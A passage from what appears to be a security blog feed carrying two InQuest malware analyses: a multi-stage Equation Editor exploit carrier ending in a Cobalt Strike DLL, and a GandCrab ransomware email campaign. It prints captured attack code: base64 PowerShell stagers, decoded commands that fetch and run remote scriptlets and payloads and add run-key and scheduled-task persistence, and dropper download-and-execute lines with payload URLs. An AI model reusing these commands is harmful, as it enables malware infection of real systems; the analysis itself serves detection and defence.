| Tag           | 0&times;08            | 1 byte                       | 0x23        |&lt;br&gt;
| Ttype         | Typeface number | 1 byte                       | 0x24        |&lt;br&gt;
| Style         | Font style      | 1 byte                       | 0x25        |&lt;br&gt;
| Name          | Font name       | NULL-terminated ASCII string | 0x26 - 0x93 |&lt;/p&gt;
&lt;p&gt;The vulnerability was initially patched in November of last year. That patch proved insufficient and subsequently in December of last year Microsoft simply removed the Equation Editor in its entirety. The above analysis of course can be skipped entirely as the next stage payload is clearly visible in both objects referencing [ad1.jpg](https://github.com/InQuest/malware-samples/blob/master/2018-04-Common-Malware-Carrier/ad1.jpg), which contains nothing more than a scriptlet pivot through JavaScript and PowerShell to yet another payload:&lt;/p&gt;
&lt;p&gt;```xml&lt;br&gt;&lt;br&gt;```&lt;/p&gt;
&lt;p&gt;Following the rabbit down the hole further, we get the following PowerShell pivot from [share.png](https://github.com/InQuest/malware-samples/blob/master/2018-04-Common-Malware-Carrier/share.png):&lt;/p&gt;
&lt;p&gt;```iq-bash&lt;br&gt;
function ConvertFrom-Base64($string) {&lt;br&gt;
   $bytes  = [System.Convert]::FromBase64String($string);&lt;br&gt;
   $decoded = [System.Text.Encoding]::UTF8.GetString($bytes);&lt;br&gt;
   return $decoded;&lt;br&gt;
}&lt;/p&gt;
&lt;p&gt;$WSH = New-Object -Com WScript.Shell;&lt;br&gt;
$decode = ConvertFrom-Base64(&quot;c2NodGFza3MgL2NyZWF0ZSAvdG4gIndpbmRvd3MgdXBkYXRlIiAvdHIgInJlZ3N2cjMyIC91IC9zIC9pOmh0dHA6Ly9qb2Iuc29mdGxpbmUudG9wL2FkMi5qcGcgc2Nyb2JqLmRsbCIgL3NjIGRhaWx5IC9zdCAxMjowMCAvRg==&quot;);&lt;br&gt;
$WSH.Run($decode,0);&lt;/p&gt;
&lt;p&gt;$client = new-object System.Net.WebClient&lt;br&gt;
$client.DownloadFile('http://job.softline.top/SCHEDLGU.exe', 'c:\\windows\\tasks\\SCHEDLGU.exe')&lt;br&gt;
$decode3 = ConvertFrom-Base64(&quot;cmVnIGFkZCAiSEtFWV9DVVJSRU5UX1VTRVJcU29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuIiAvdiAid2luZG93cyB0YXNrcyBjaGVjayIgL3QgUkVHX1NaIC9kICJjOlx3aW5kb3dzXHRhc2tzXFNDSEVETEdVLmV4ZSIgL2Y=&quot;);&lt;br&gt;
$WSH.Run($decode3,0);&lt;/p&gt;
&lt;p&gt;$decode2 = ConvertFrom-Base64(&quot;cG93ZXJzaGVsbC5leGUgLWV4ZWMgYnlwYXNzIC1XaW5kb3dzdHlsZSBoaWRkZW4gLW5vbmludGVyYWN0aXZlIC1ub2xvZ28gSUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vam9iLnNvZnRsaW5lLnRvcC9sb2FkaW5nbGl0LmdpZicp&quot;);&lt;br&gt;
$WSH.Run($decode2,0);&lt;br&gt;
```&lt;/p&gt;
&lt;p&gt;There's a plethora of methods to decoding the base64 data above, but sticking with the tool-set we've been using, we'll lean on [base64dump](https://github.com/DidierStevens/DidierStevensSuite/blob/master/base64dump.py) here:&lt;/p&gt;
&lt;p&gt;```iq-bash&lt;br&gt;
$ base64dump.py -n30 share.png -s a -S&lt;br&gt;
schtasks /create /tn &quot;windows update&quot; /tr &quot;regsvr32 /u /s /i:http://job.softline.top/ad2.jpg scrobj.dll&quot; /sc daily /st 12:00 /F&lt;/p&gt;
&lt;p&gt;reg add &quot;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run&quot; /v &quot;windows tasks check&quot; /t REG_SZ /d &quot;c:\windows\tasks\SCHEDLGU.exe&quot; /f&lt;/p&gt;
&lt;p&gt;powershell.exe -exec bypass -Windowstyle hidden -noninteractive -nologo IEX (New-Object Net.WebClient).DownloadString('http://job.softline.top/loadinglit.gif')&lt;br&gt;
```&lt;/p&gt;
&lt;p&gt;Three commands. It looks to pull down a payload and to establish persistence across reboots by way of a Registry run-key and scheduled tasks (how uncreative). Additionally, we've got a pair of new pivots to follow here. As it turns out, [ad2.jpg](https://github.com/InQuest/malware-samples/blob/master/2018-04-Common-Malware-Carrier/ad2.jpg) is nothing more than a JavaScript / PowerShell pivot to [loadinglit.gif](https://github.com/InQuest/malware-samples/blob/master/2018-04-Common-Malware-Carrier/loadinglit.gif):&lt;/p&gt;
&lt;p&gt;```xml&lt;br&gt;&lt;br&gt;```&lt;/p&gt;
&lt;p&gt;Examining [loadinglit.gif](https://github.com/InQuest/malware-samples/blob/master/2018-04-Common-Malware-Carrier/loadinglit.gif) we find a pure PowerShell payload that contains a base64 encoded PE file. This is obvious from the string start of &quot;TVroAAAAAFt&quot; which, if you've been looking at these things long enough, immediately stands out as an MZ header for a Windows PE executable (DLL, EXE, etc.). The script is too large to include inline, see the link above. Again though, we'll lean on [base64dump](https://github.com/DidierStevens/DidierStevensSuite/blob/master/base64dump.py) to extract the payload:&lt;/p&gt;
&lt;p&gt;```iq-bash&lt;br&gt;
$ base64dump.py -n500 loadinglit.gif&lt;br&gt;
ID  Size    Encoded          Decoded          MD5 decoded&lt;br&gt;
--  ----    -------          -------          -----------&lt;br&gt;
 1:  275804 TVroAAAAAFtSRVWJ MZ?....[REU???r 9d7376f5ad1b39ec08cbe2a8e0e886b6&lt;/p&gt;
&lt;p&gt;$ base64dump.py -n500 loadinglit.gif -s1 -d &amp;gt; payload&lt;/p&gt;
&lt;p&gt;$ sha256sum payload&lt;br&gt;
8cdd29e28daf040965d4cad8bf3c73d00dde3f2968bab44c7d8fe482ba2057f9  payload&lt;/p&gt;
&lt;p&gt;$ file payload&lt;br&gt;
payload: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows&lt;br&gt;
```&lt;/p&gt;
&lt;p&gt;This final [payload](https://github.com/InQuest/malware-samples/blob/master/2018-04-Common-Malware-Carrier/payload) has not been seen on VT / MetaDefender before, so we uploaded to both services. It appears to be a Cobalt Strike payload:&lt;/p&gt;
&lt;p&gt;* [OPSWAT MetaDefender](https://metadefender.opswat.com/results#!/file/ZTE4MDQxOUgxLXY2VGFCaEdTMUdQVGFUQmh6/regular/overview)&lt;br&gt;
* [VirusTotal](https://www.virustotal.com/en/file/8cdd29e28daf040965d4cad8bf3c73d00dde3f2968bab44c7d8fe482ba2057f9/analysis/)&lt;/p&gt;
&lt;p&gt;Detection&lt;br&gt;
---------&lt;br&gt;
We've examined the various pivots in this malware carrier that resulted in the eventual delivery of a persistently hooked malicious binary. The InQuest [Deep File Inspection](http://blog.inquest.net/blog/2018/02/12/deep-file-inspection/) (DFI) stack is capable of unraveling common malware carriers such as the one detailed in this post. There are countless methods that attackers can employ to obfuscate, evade, encapsulate, and generally deter security inspection. Our DFI stack strips away the superfluous and exposes malicious content bare for threat detection based on any of our 1000+ field tested hunting signatures, user-defined YARA signatures, or any of our [active integrations](http://www.inquest.net/partners/).&lt;/p&gt;

  &lt;img src=&quot;/legacy/2018-04-19-walkthrough-of-a-common-malware-carrier/matryoshka.png&quot; alt=&quot;&quot;&gt;

    Malware carriers are typically nested in multiple levels, like a Matryoshka doll.

&lt;p&gt;In addition to [Deep File Inspection](http://blog.inquest.net/blog/2018/02/12/deep-file-inspection/), we provide other capabilities for discovering and detecting targeted malware campaigns. Following along with our example, let's take a look at the hosting provider behind the various payload stages we retrieved. The domain, softline.top ([WHOIS](http://whois.domaintools.com/softline.top)), was registered in late December of last year. There is not DNS resolution for the TLD. The subdomain job.softline.top is hosted on South Korean IP address 27.255.90.218 ([WHOIS](http://whois.domaintools.com/27.255.90.218)):&lt;/p&gt;
&lt;p&gt;```iq-bash&lt;br&gt;
$ whois softline.top&lt;br&gt;
...&lt;br&gt;
Domain Name: softline.top&lt;br&gt;
Registry Domain ID: D20171226G10001G_32819662-top&lt;br&gt;
Registrar WHOIS Server: whois.publicdomainregistry.com&lt;br&gt;
Registrar URL: http://publicdomainregistry.com&lt;br&gt;
Updated Date: 2017-12-26T08:51:22Z&lt;br&gt;
Creation Date: 2017-12-26T08:50:51Z&lt;br&gt;
Registry Expiry Date: 2018-12-26T08:50:51Z&lt;br&gt;
Registrar: PDR Ltd&lt;br&gt;
Registrar IANA ID: 303&lt;br&gt;
...&lt;/p&gt;
&lt;p&gt;$ dig job.softline.top any&lt;br&gt;
...&lt;br&gt;
;; ANSWER SECTION:&lt;br&gt;
job.softline.top. 51  IN  A 27.255.90.218&lt;br&gt;
...&lt;br&gt;
```&lt;/p&gt;
&lt;p&gt;A reverse IP lookup on [27.255.90.218](https://reverseip.domaintools.com/search/?q=27.255.90.218) reveals another domain microsoftgood.com ([WHOIS](http://whois.domaintools.com/microsoftgood.com)) which was registered even more recently:&lt;/p&gt;
&lt;p&gt;```iq-bash&lt;br&gt;
$ whois microsoftgood.com&lt;br&gt;
...&lt;br&gt;
Domain Name: microsoftgood.com&lt;br&gt;
Registry Domain ID: 2221771516_DOMAIN_COM-VRSN&lt;br&gt;
Registrar WHOIS Server: whois.godaddy.com&lt;br&gt;
Registrar URL: http://www.godaddy.com&lt;br&gt;
Updated Date: 2018-02-01T02:55:46Z&lt;br&gt;
Creation Date: 2018-02-01T02:55:46Z&lt;br&gt;
Registrar Registration Expiration Date: 2019-02-01T02:55:46Z&lt;br&gt;
Registrar: GoDaddy.com, LLC&lt;br&gt;
Registrar IANA ID: 146&lt;br&gt;
...&lt;br&gt;
```&lt;/p&gt;
&lt;p&gt;Whether or not there is any relation is speculative at this point. It may be potentially lucrative from a defenders perspective to utilize the naming patterns gleans above to conduct a limited brute force crawl of this new domain, in search of additional malware.&lt;/p&gt;
&lt;p&gt;IP and DNS are both detectable / alertable artifacts within InQuest. Users can lean on our weekly feed of intel updates as well integrate with their own propriety intel or commercial third party feeds to detect command and control (C2) activity. Campaigns can be alerted on by file heuristics, communicated endpoints, hashes, fuzzy hashes, perception hashes (images), header (HTTP and SMTP) analytics, and an ever growing list of [active integrations](http://www.inquest.net/partners/).&lt;/p&gt;
&lt;p&gt;As an example active integration, let's take a look at how our friends at [VMRay](https://www.vmray.com/) detect this threat. If enabled, file artifacts carved by InQuest from the wire can be optionally passed through the VMRay sandbox for [detonation and behavioral inspection](http://blog.inquest.net/blog/2018/03/12/defense-in-depth-detonation-technologies/):&lt;/p&gt;

  &lt;img src=&quot;/legacy/2018-04-19-walkthrough-of-a-common-malware-carrier/vmray-overview.png&quot; alt=&quot;&quot;&gt;

    VMRay detonated the file in four different environments, only one alerted.

&lt;p&gt;Starting from the overview, you'll note that VMRay detonated the file in four different unique environments. Only one of which alerted. It is prudent to accurately build your sandbox environment to reflect your real-world systems. The next screen shows the process overview:&lt;/p&gt;

  &lt;img src=&quot;/legacy/2018-04-19-walkthrough-of-a-common-malware-carrier/vmray-tree.png&quot; alt=&quot;&quot;&gt;

    Clear depiction of the multiple stage pivots detailed above.

&lt;p&gt;You can clearly see some of the pivots we detailed above. From Microsoft Word through the RTF payload (banner.jpg) to the Equation Editor pivot, through regsvr32.exe (ad1.jpg) and finally to PowerShell. Some of the scriptlets in-between are not depicted here, though they are captured and scored independently in InQuest. There's value in [defense-in-depth](http://blog.inquest.net/blog/2018/03/12/defense-in-depth-detonation-technologies/). A more detailed but similar view:&lt;/p&gt;

  &lt;img src=&quot;/legacy/2018-04-19-walkthrough-of-a-common-malware-carrier/vmray-procs.png&quot; alt=&quot;&quot;&gt;

    Detailed information on various commands executed by the malware.

&lt;p&gt;Shows the complete command line arguments from those captured pivots. The results from this, and any other integrations, are aggregated under a single pane of glass and summarized by a simple threat score from 1 to 10. Our threat score algorithm is not prone to artificial inflation from over-detection. We lean on our experiences as SOC analysts to automate the heating / cooling of scores based on a combination of inputs. In essence, we're automating much of the SOC analyst work flow to spare precious human cycles for what matters most. The key decision points that drive the algorithm are shown in an straightforward threat receipt:&lt;/p&gt;

  &lt;img src=&quot;/legacy/2018-04-19-walkthrough-of-a-common-malware-carrier/threat-receipt.png&quot; alt=&quot;&quot;&gt;

    There are over 20 factors considered when applying a threat score to a captured session.

&lt;p&gt;The indicators beside each row in the threat receipt state:&lt;/p&gt;
&lt;p&gt;* Green, the subsystem alerted and contributed to the threat score.&lt;br&gt;
* Yellow, the subsystem alerted but that alert did not contribute to the threat score.&lt;br&gt;
* Red, the subsystem did not produce an alert.&lt;br&gt;
* Grey, the subsystem was not available at the time of analysis (or is not configured / enabled).&lt;/p&gt;
&lt;p&gt;At a glance, the InQuest threat receipt provides analysts with an idea as to whether or not the threat is a true positive and why. In this particular case the InQuest Threat Detection Engine scored the session containing the initial carrier as a 9 and then bumped the score to a 10 based on InQuest cloud assisted IP reputation. Both the OPSWAT (multi-av) and VMRay (sandbox / detonation) subsystems alerted as well, but did not alter the final score.&lt;/p&gt;
&lt;p&gt;On a final note, InQuest customers can hunt for signs of this and similar campaigns via the following DFI powered signatures:&lt;/p&gt;
&lt;p&gt;* 5000755, MC_CVE_2017_11882_OLE, severity 8, confidence 7.&lt;br&gt;
* 5000757, MC_Equation_OLE, severity 8, confidence 7.&lt;br&gt;
* 5000806, MC_Malicious_Scriptlet_Payload_01, severity 10, confidence 5.&lt;br&gt;
* 5000487, MC_SCT_Backdoor, severity 9, confidence 9.&lt;br&gt;
* 3000175, SC_RTF_Objupdate, severity 5, confidence 2.&lt;/p&gt;
&lt;p class=&quot;dim&quot;&gt;&lt;i&gt;Originally published 2018-04-19 on &lt;a href=&quot;https://web.archive.org/web/2019/https://inquest.net/blog/2018/04/19/walkthrough-common-malware-carrier&quot; target=&quot;_top&quot;&gt;the InQuest blog&lt;/a&gt;.&lt;/i&gt;&lt;/p&gt;
</description>
        </item>
                <item>
            <title>04.17.2018: GandCrab Swarm</title>
            <link>http://pedramamini.com/blog/2018.04.17/</link>
            <pubDate>Tue, 17 Apr 2018 00:00:00 -0500</pubDate>
            <description>&lt;p&gt;The campaign is far from stealthy, and we&amp;#8217;re certainly not the first to write about it. See the section&nbsp;&amp;#8220;Further Reading&amp;#8221;&nbsp;below for additional articles and utilities. We first noticed the campaign through a significant uptick in threats delivered via malicious e-mail attachment following the naming convention &amp;#8220;`DOC[0-9]{10}.zip&amp;#8220;`. Example file names include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;DOC1385624908.zip&lt;/code&gt;&lt;/li&gt;

&lt;li&gt;&lt;code&gt;DOC1614310849.zip&lt;/code&gt;&lt;/li&gt;

&lt;li&gt;&lt;code&gt;DOC2138630325.zip&lt;/code&gt;&lt;/li&gt;

&lt;li&gt;&lt;code&gt;DOC2229418534.zip&lt;/code&gt;&lt;/li&gt;

&lt;li&gt;&lt;code&gt;DOC3054722748.zip&lt;/code&gt;&lt;/li&gt;

&lt;li&gt;…&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In the cases we observed, the archive contained either a malicious macro dropper document or a malicious JavaScript file. We observed ~3,000 unique IP addresses that spanned across 427 ASNs (see Appendix). Analyzing the source IPs of the campaign reveals a heavy slant toward the Asias. We’re using the handy&nbsp;&lt;a href=&quot;https://github.com/wizzat/distribution&quot; target=&quot;_top&quot;&gt;distribution&lt;/a&gt;&nbsp;utility here if you’re curious:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;#91;pedram@kb 2018-04-doc0]$ cat doc0.countries | distribution
    Key|Ct   (Pct)    Histogram
     VN|2991 (52.44%) -------------------------------------------------------
     IN| 963 (16.88%) --------------------
     CN| 416  (7.29%) ---------
     BD| 184  (3.23%) ----
     RU| 169  (2.96%) ----
     ID| 121  (2.12%) ---
     KZ|  99  (1.74%) ---
     LA|  68  (1.19%) --
     TH|  67  (1.17%) --
     PK|  62  (1.09%) --
     MN|  61  (1.07%) --
     UA|  48  (0.84%) -
     KH|  48  (0.84%) -
     KG|  41  (0.72%) -
&lt;/code&gt;&lt;/pre&gt;

&lt;h2&gt;Macro Dropper&lt;/h2&gt;

&lt;p&gt;An example malicious document can be in our GitHub repo for malware samples:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/InQuest/malware-samples/blob/master/2018-04-GandCrab-Swarm/99eb1d90eb5f0d012f35fcc2a7dedd2229312794354843637ebb7f40b74d0809/99eb1d90eb5f0d012f35fcc2a7dedd2229312794354843637ebb7f40b74d0809.doc&quot; target=&quot;_top&quot;&gt;Document&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;&lt;a href=&quot;https://github.com/InQuest/malware-samples/blob/master/2018-04-GandCrab-Swarm/99eb1d90eb5f0d012f35fcc2a7dedd2229312794354843637ebb7f40b74d0809/99eb1d90eb5f0d012f35fcc2a7dedd2229312794354843637ebb7f40b74d0809.macro&quot; target=&quot;_top&quot;&gt;Extracted Macro&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Of the dozens of macro droppers we harvested, we isolated 6 uniquely generated macros, all of which employ the same heavy string obfuscation tactics:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;#91;pedram@kb 2018-04-doc0]$ grep &quot;(&quot; * | cut -d':' -f2 | tr -d ' '  | cut -d'=' -f2 | cut -d'(' -f1 | distribution
            Key|Ct   (Pct)    Histogram
        Replace|1840 (44.12%) ------------------------------------------
     StrReverse|1540 (36.93%) -----------------------------------
          Space| 111  (2.66%) ---
          UCase|  99  (2.37%) ---
            Mid|  92  (2.21%) ---
           Left|  87  (2.09%) --
          LTrim|  87  (2.09%) --
          Right|  79  (1.89%) --
          RTrim|  79  (1.89%) --
        StrConv|  68  (1.63%) --
          Split|  18  (0.43%) -
         UBound|   6  (0.14%) -
          Shell|   6  (0.14
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Prior to pivoting through&amp;nbsp;&lt;a href=&quot;https://msdn.microsoft.com/en-us/vba/language-reference-vba/articles/shell-function&quot; target=&quot;_top&quot;&gt;Shell()&lt;/a&gt;. Note the usage of&amp;nbsp;&lt;code&gt;vbHide&lt;/code&gt;&amp;nbsp;(0) here:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;#91;pedram@kb 2018-04-doc0]$ grep Shell *
5ab51aaa4e781063c21ceca884ffe4177a24f3a49f164f7a7095ac16161a4e6a.macro
549:            Shell (StrReverse(StrReverse(GAMI))), 0

9bb808c1ec544f71c1f6730cbaf0d24337e22a4f92f6078b8ba794d596a87a5e.macro
750:            Shell (mbRq), 0

521b7acbb766010ad49b2344a32ec20663d2328fb9c8a846f1ac8cc7a4895f42.macro
422:            Shell (StrReverse(StrReverse(nVBj))), 0

20bf59ea08052f282666570f12402be8f4eaf3b1ccaf00c7d6f4f645a2ddbc78.macro
422:            Shell (StrReverse(StrReverse(nVBj))), 0

5849f63af8e041cd2690efd7a7638c1b7185a9aa497a2322be01d36d314507f8.macro
643:            Shell (StrReverse(StrReverse(fCOY))), 0

ca72e019c23658547a73c613e4bf3a39e2d603b260c2e227adab74efc6fdc7bb.macro
643:            Shell (StrReverse(StrReverse(fCOY))), 0
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;To a PowerShell pivot which will download and execute a second-stage payload (PE executable) from (in this case) a server in the UK:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;powershell.exe -w 1 (New-Object System.Net.WebClient).DownloadFile('hxxp://185&amp;#91;.]189.58.222/da.exe',(&amp;#91;System.IO.Path]::GetTempPath()+'bKKc.exe'));

powershell.exe -w 1 Start-Process -Filepath (&amp;#91;System.IO.Path]::GetTempPath()+'bKKc.exe'
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;We’ve extracted a half dozen macros from live samples and made them available on&amp;nbsp;&lt;a href=&quot;https://github.com/InQuest/malware-samples/tree/master/2018-04-GandCrab-Swarm/dropper-macros&quot; target=&quot;_top&quot;&gt;Github.com/InQuest/malware-samples&lt;/a&gt;&amp;nbsp;for anyone who is interested.&lt;/p&gt;

&lt;h2&gt;JavaScript Dropper&lt;/h2&gt;

&lt;p&gt;Example malicious JavaScript payloads can be found&amp;nbsp;&lt;a href=&quot;https://github.com/InQuest/malware-samples/tree/master/2018-04-GandCrab-Swarm/dropper-javascript&quot; target=&quot;_top&quot;&gt;Github.com/InQuest/malware-samples&lt;/a&gt;, we’ll dissect this one here:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/InQuest/malware-samples/blob/master/2018-04-GandCrab-Swarm/dropper-javascript/45e1a8582716c51212a45df8f26298cb8dd9769d5fa5781014ef72e4b22881a8.js&quot; target=&quot;_top&quot;&gt;45e1a8582716c51212a45df8f26298cb8dd9769d5fa5781014ef72e4b22881a8.js&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;At the highest level, the heavily obfuscated JavaScript will:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Loop until a non 200 OK response is received from C&amp;amp;C server at&amp;nbsp;&lt;code&gt;GET hxxp://hgpjrvccsollfwbq[.]com&lt;/code&gt;.&lt;/li&gt;

&lt;li&gt;Download payload from&amp;nbsp;&lt;code&gt;hxxp://112[.]126.94.107/shop/k.exe&lt;/code&gt;.&lt;/li&gt;

&lt;li&gt;Save the downloaded file as&amp;nbsp;&lt;code&gt;%TEMP%/undefined/featherstrail.exe,&lt;/code&gt;&amp;nbsp;and execute it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You can see the trace of this activity in the following log:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;ActiveXObject initialized: &amp;#91;&quot;Scripting.FileSystemObject&quot;]
  &amp;#91;Scripting.FileSystemObject].GetSpecialFolder() called
ActiveXObject : &amp;#91;&quot;WinHttp.WinHttpRequest.5.1&quot;]
ActiveXObject : &amp;#91;&quot;MSXML2.XMLHTTP&quot;]
  &amp;#91;MSXML2.XMLHTTP].open() called:
      &amp;#91;&quot;GET&quot;, &quot;hxxp://hgpjrvccsollfwbq&amp;#91;.]com/&quot;, false]
  &amp;#91;WinHttp.WinHttpRequest.5.1].open() called with arguments:
      &amp;#91;&quot;GET&quot;, &quot;hxxp://112&amp;#91;.]126.94.107/shop/k.exe&quot;, 0]
  &amp;#91;WinHttp.WinHttpRequest.5.1].send() called.
  &amp;#91;WinHttp.WinHttpRequest.5.1].open() called with arguments:
      &amp;#91;&quot;GET&quot;, &quot;hxxp://112&amp;#91;.]126.94.107/shop/k.exe&quot;, 0]
  &amp;#91;WinHttp.WinHttpRequest.5.1].send() called.
  &amp;#91;WinHttp.WinHttpRequest.5.1].open() called with arguments:
      &amp;#91;&quot;GET&quot;, &quot;hxxp://112&amp;#91;.]126.94.107/shop/k.exe&quot;, 0]
  &amp;#91;WinHttp.WinHttpRequest.5.1].send() called.
  &amp;#91;WinHttp.WinHttpRequest.5.1].open() called with arguments:
      &amp;#91;&quot;GET&quot;, &quot;hxxp://112&amp;#91;.]126.94.107/shop/k.exe&quot;, 0]
  &amp;#91;WinHttp.WinHttpRequest.5.1].send() called.
  &amp;#91;WinHttp.WinHttpRequest.5.1].open() called with arguments:
      &amp;#91;&quot;GET&quot;, &quot;hxxp://112&amp;#91;.]126.94.107/shop/k.exe&quot;, 0]
  &amp;#91;WinHttp.WinHttpRequest.5.1].send() called.
ActiveXObject initialized: &amp;#91;&quot;WScript.Shell&quot;]
ActiveXObject initialized: &amp;#91;&quot;ADODB.Stream&quot;]
  &amp;#91;ADODB.Stream].Open() called: &amp;#91;]
  &amp;#91;ADODB.Stream].Write() called: &amp;#91;undefined]
  &amp;#91;ADODB.Stream].SaveToFile() called: &amp;#91;&quot;undefinedfeatherstrail.exe&quot;]
  &amp;#91;ADODB.Stream].Close() called: &amp;#91;]
WScript.run() called: &amp;#91;&quot;cmd /c undefinedfeatherstrail.exe&quot;, 0, 0]
&lt;/code&gt;&lt;/pre&gt;

&lt;h2&gt;Second Stage Payloads&lt;/h2&gt;

&lt;p&gt;&lt;br&gt;The second-stage payloads were seen hosted on French, British, and Chinese servers (see Appendix). In one case, a seemingly compromised China based shopping site (&lt;a href=&quot;http://whois.domaintools.com/112.126.94.107&quot; target=&quot;_top&quot;&gt;112[.]126.94.107&lt;/a&gt;). In another case, a seemingly fresh install of CentOS (&lt;a href=&quot;http://whois.domaintools.com/185.189.58.222&quot; target=&quot;_top&quot;&gt;185[.]189.58.222&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;With the identification of a second stage payload host and the realization that the payloads follow a basic 1 to 3 character naming convention and are of one of the types: .exe, .doc, etc. We brute force crawled the limited space to unveil the following list of additional payloads. All are active as of the time of writing. On a side note, for more complex brute force patterns, we recommend checking out&amp;nbsp;&lt;a href=&quot;https://github.com/teeshop/rexgen&quot; target=&quot;_top&quot;&gt;rexgen&lt;/a&gt;.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;tr&amp;gt;
    &amp;lt;td&amp;gt;hxxp://185&amp;#91;.]189.58.222/as.exe&amp;lt;/td&amp;gt;
    &amp;lt;td align=&quot;right&quot;&amp;gt;application/octet-stream&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
    &amp;lt;td colspan=&quot;2&quot;&amp;gt;&amp;lt;a href=&quot;https://www.virustotal.com/#/file/73f0880358701566ed1792014b639c02f357da42981344a6ad644aae494d3e36&quot;&amp;gt;73f0880358701566ed1792014b639c02f357da42981344a6ad644aae494d3e36&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
    &amp;lt;td&amp;gt;hxxp://185&amp;#91;.]189.58.222/da.exe&amp;lt;/td&amp;gt;
    &amp;lt;td align=&quot;right&quot;&amp;gt;application/octet-stream&amp;lt;/td&amp;gt;
&amp;lt;tr&amp;gt;
    &amp;lt;td colspan=&quot;2&quot;&amp;gt;GandCrab: &amp;lt;a href=&quot;https://www.virustotal.com/#/file/6d1e7233c698c47c231e7d89500ddca5dc7a2efb12611395848ea024c01f6e57&quot;&amp;gt;6d1e7233c698c47c231e7d89500ddca5dc7a2efb12611395848ea024c01f6e57&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
    &amp;lt;td&amp;gt;hxxp://185&amp;#91;.]189.58.222/s.exe&amp;lt;/td&amp;gt;
    &amp;lt;td align=&quot;right&quot;&amp;gt;application/octet-stream&amp;lt;/td&amp;gt;
&amp;lt;tr&amp;gt;
    &amp;lt;td colspan=&quot;2&quot;&amp;gt;Trik.pdb: &amp;lt;a href=&quot;https://www.virustotal.com/#/file/a753017ff3428b51543961f07a087b6f625b43b029580d2046a89c3c7136b3d5&quot;&amp;gt;a753017ff3428b51543961f07a087b6f625b43b029580d2046a89c3c7136b3d5&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
    &amp;lt;td&amp;gt;hxxp://185&amp;#91;.]189.58.222/k.exe&amp;lt;/td&amp;gt;
    &amp;lt;td align=&quot;right&quot;&amp;gt;application/octet-stream&amp;lt;/td&amp;gt;
&amp;lt;tr&amp;gt;
    &amp;lt;td colspan=&quot;2&quot;&amp;gt;GandCrab: &amp;lt;a href=&quot;https://www.virustotal.com/#/file/71391d3dfa01284ebdd2aff07414ec1cf203caca625e6f26d6507ec3974b421c&quot;&amp;gt;71391d3dfa01284ebdd2aff07414ec1cf203caca625e6f26d6507ec3974b421c&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
    &amp;lt;td&amp;gt;hxxp://185&amp;#91;.]189.58.222/f.exe&amp;lt;/td&amp;gt;
    &amp;lt;td align=&quot;right&quot;&amp;gt;application/octet-stream&amp;lt;/td&amp;gt;
&amp;lt;tr&amp;gt;
    &amp;lt;td colspan=&quot;2&quot;&amp;gt;Ransort.pdb: &amp;lt;a href=&quot;https://www.virustotal.com/#/file/f5f30a0187d94e3a4e61d614c2a36d21e79e9aadb9dd3082adc4e69962d35bca&quot;&amp;gt;f5f30a0187d94e3a4e61d614c2a36d21e79e9aadb9dd3082adc4e69962d35bca&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
    &amp;lt;td&amp;gt;hxxp://112&amp;#91;.]126.94.107/shop/wat.exe&amp;lt;/td&amp;gt;
    &amp;lt;td align=&quot;right&quot;&amp;gt;application/octet-stream&amp;lt;/td&amp;gt;
&amp;lt;tr&amp;gt;
    &amp;lt;td colspan=&quot;2&quot;&amp;gt;Trik.pdb: &amp;lt;a href=&quot;https://www.virustotal.com/#/file/09ef6c20ebcaa676f3f682f220c60d4336a11321ce876bab44834cd7ae159326&quot;&amp;gt;09ef6c20ebcaa676f3f682f220c60d4336a11321ce876bab44834cd7ae159326&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
    &amp;lt;td&amp;gt;hxxp://112&amp;#91;.]126.94.107/shop/k.exe&amp;lt;/td&amp;gt;
    &amp;lt;td align=&quot;right&quot;&amp;gt;application/octet-stream&amp;lt;/td&amp;gt;
&amp;lt;tr&amp;gt;
    &amp;lt;td colspan=&quot;2&quot;&amp;gt;GandCrab: &amp;lt;a href=&quot;https://www.virustotal.com/#/file/053b9fdab60ab124178e23b4598f2b10e71b2caf1abcfa51c857f0801f555131&quot;&amp;gt;053b9fdab60ab124178e23b4598f2b10e71b2caf1abcfa51c857f0801f555131&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
